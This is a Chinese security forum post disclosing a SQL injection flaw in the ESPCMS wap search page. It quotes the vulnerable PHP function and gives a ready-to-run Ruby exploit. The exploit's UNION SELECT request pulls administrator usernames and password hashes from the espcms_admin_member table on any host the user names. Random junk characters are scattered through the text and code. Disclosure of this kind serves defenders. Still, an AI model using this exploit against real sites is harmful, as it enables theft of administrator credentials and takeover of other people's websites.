找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2411|回复: 0
打印 上一主题 下一主题

espcms wap模块搜索处SQL注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 18:31:52 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
0×0 漏洞概述0×1 漏洞细节2 S# N% _6 k3 s  {( F; d; Z; X3 L
0×2 PoC% |7 h+ l# n& d0 Z9 r: e

0 l+ A  X5 l7 [% h8 k# s
& H8 Q& o7 U! a* y0 [
! M* C+ ]% P7 |: T0×0 漏洞概述
- P, B4 S: N2 X5 @0 F5 V- U/ @
& f2 Z/ [/ e. _+ N易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
# P% I; J, a# {4 C其在处理传入的参数时考虑不严谨导致SQL注入发生* Q% Y* K9 a2 G( w3 @# c& ~

; K* D  p7 b+ T% ^
0 T$ [. k, s" ]& F9 E0×1 漏洞细节* q9 O5 \! ^  I) ]$ `. z
" g" M  _; X" y$ v1 [: A$ ~
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。- b0 g; e4 ]3 p: {7 v/ ]
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。: g$ E5 Z* J# y( c$ e6 j9 T" x+ m
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。, b  L& s# C4 L- ]

& A5 n4 O+ j) P) H( o7 g在/interface/3gwap_search.php文件的in_result函数中:/ }  }( h8 A1 F3 {. Y0 f5 \/ R7 N

2 C' C. X2 N6 [% Y5 F  d0 B6 @
; {' \- y4 T( r6 g* s( W7 r8 w# I6 e, K6 b7 o
       function in_result() {
8 M- n! }2 [8 `. F4 h0 l* B            ... ... ... ... ... ... ... ... .... d. t9 ^4 [6 i) o- ^! B& H3 y
            $urlcode = $_SERVER[ 'QUERY_STRING '];
9 n7 }7 i2 V1 U! v/ V; e            parse_str(html_entity_decode($urlcode), $output);3 Y) Z4 Q4 o8 `/ a" g; e' b4 D

4 v; x5 t9 F  Y            ... ... ... ... ... ... ... ... ...
/ }( F0 d; `" E) u1 p            if (is_array($output['attr' ]) && count($output['attr']) > 0) {
# b) x: `6 h/ G- ?  S. ?7 y8 r! H) l0 {: y/ m" C7 P5 r3 ]
                  $db_table = db_prefix . 'model_att';
' Z6 a* W; P. ?- }' n' ~+ w6 F8 d: H3 `* h$ V$ l2 g
                   foreach ($output['attr' ] as $key => $value) {
9 a6 Q7 s. i# b                         if ($value) {0 l! a. |/ h: `8 N. O

+ ]; Z+ L( H/ @) @( l. G$ z' p                              $key = addslashes($key);
6 p6 @# P" q8 `: [1 _- h                              $key = $this-> fun->inputcodetrim($key);
+ j! a1 C$ [" ~                              $db_att_where = " WHERE isclass=1 AND attrname='$key'";7 O; ^6 E/ q: a. X% i
                              $countnum = $this->db_numrows($db_table, $db_att_where);
& l) G: Q2 @- A1 Z* N( V                               if ($countnum > 0) {4 K( N- K/ ?3 p8 v  K1 T) T4 I8 _
                                    $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;: }7 M% s1 B: D& q( o, u
                              }
2 x, U5 V1 w9 b' M2 D                        }' N" U1 l) d& C! ?
                  }
2 U* ~& h, y9 Y% x; z* `- l" S5 d$ T, H            }
( R( b0 ]) {7 |8 W            if (!empty ($keyword) && empty($keyname)) {. ^& J' `# w: s9 Y" }: Q
                  $keyname = 'title';
* P; F, P0 ^$ B7 P& h( d: _                  $db_where.= " AND a.title like '%$keyword%'" ;
5 o- M- }5 _* ~0 t8 d            } elseif (!empty ($keyword) && !empty($keyname)) {
+ F# i: [' q" k. v: v4 F                  $db_where.= " AND $keyname like '% $keyword%'";
& [, T4 Y5 Y2 `7 W            }
7 e  y6 w9 @4 m8 x: w            $pagemax = 15;+ J5 U# x* L0 n; w0 V+ u$ S4 ~
* m  X! m: @( i  ?5 ^2 w, ]
            $pagesylte = 1;
. n% y7 w0 u* p7 G; y; I+ n2 i% Y7 D" [8 M  G7 ~% h
             if ($countnum > 0) {1 {4 G; g/ W/ Y& s

' l9 a1 ]) |1 q+ c( ~                  $numpage = ceil($countnum / $pagemax);
( T! }- W! V2 z# a2 b; j            } else {
8 [; N3 x, H) y& s                  $numpage = 1;
* J: \/ l' Q' h4 E# ]' H            }8 ]" O- M8 V! e4 |& v& M5 @7 z
            $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
$ D7 I- u5 l8 D$ e" D            $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);3 N- O. ~* l' J% i# e6 t
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' );            $rs = $this->db->query($sql);  i6 E6 |2 m0 i% b: U' L: [
            ... ... ... ... ... ... ... ... ...6 ?3 y$ J% y# R' A/ E- V- @
      }
; W' D6 _/ Y4 r' f% i8 [0 }, f4 T' [& s' W! r- ^, E
. E* T; d2 B+ s! v! H
0×2 PoC, K1 \. l- \: A

6 b( }6 @8 B2 P- B$ Y/ x. j  ^0 k: N8 ~5 Q. V
9 l. A. R+ L& }# ~
require "net/http": [  R! z" M$ _

0 b2 I* C* B9 d% ?def request(method, url)/ C* t3 i9 J; U5 v! r3 O$ D$ o
    if method.eql?("get")
2 a% K! |# c- I- b3 F& D        uri = URI.parse(url)
7 [+ |" C5 a& x/ z/ _        http = Net::HTTP.new(uri.host, uri.port)
2 ~# \6 f' L$ B# t( y4 _5 N+ P        response = http.request(Net::HTTP::Get.new(uri.request_uri))2 o6 ^: z- k+ r" b
        return response
4 }; r& L  T; ?- B    end
4 N1 P8 j% L% S# qend& C6 M' U* F; _: j1 R; s/ @) A! t
8 H% N, r  Q3 F. w
doc =<<HERE
, L4 _. a. q7 X' K3 X-------------------------------------------------------0 R9 Z. Q) S3 j  G. x
Espcms Injection Exploit3 K  q: F2 @0 q$ E( K
Author:ztz
% Z& t' s$ z: p' D. UBlog:http://ztz.fuzzexp.org/8 t" N. L  v+ t% N
-------------------------------------------------------
( L( Q0 g2 V2 z' Z$ z- @4 Q8 j6 y1 l
HERE7 `/ N9 A( A$ e$ t7 R
* h' Z1 F: A6 G. J' w$ o  J  I
usage =<<HERE8 V- U, n, j3 Q2 D& S* i
Usage:         ruby #{$0} host port path
, x- C+ S+ S2 vexample:     ruby #{$0} www.target.com 80 /
- V! q+ Y' |0 D2 K! O) ]HERE' V9 ?% k" P) u1 c, ?  i* c; V4 V
6 ?0 A( W$ r8 l- n  I! S: G
puts doc# A! V, h1 e& I2 C3 K6 |
if ARGV.length < 35 i) X8 Y: H, K# y1 u4 [& v# t
    puts usage7 R6 b4 `- G6 ?- ?8 i! I% @
else
( P, Y* T( n. b) k0 ]    $host = ARGV[0]
* V, `! b1 x) T" M    $port = ARGV[1]
& f, w3 q1 f; I1 y$ Z    $path = ARGV[2]
+ [' z2 R! Z) W
( Z0 N# h1 m& D" Y+ H    puts "
  • send request..."
    + d4 Q' G, k' h& m    url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
      Z1 c4 \1 x+ d7 vattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
    3 h9 {4 ], F, @" k4 Y4 O9 a,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27. I8 w+ \. d7 R& m
    ,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"9 S7 _/ V/ P+ p+ `$ J( d+ F; s
        response = request("get", url)
    $ {" k; C) W* R1 M9 e% Y. k' m    result = response.body.scan(/\w+&\w{32}/)
      y  r; A% R" t+ `( S    puts result8 y" m; O& _4 Z, Q$ T7 q% M. w7 [
    end
    0 j0 V2 Y8 E/ s
    ( q% L$ T$ }, z/ n) |
  • 回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    快速回复 返回顶部 返回列表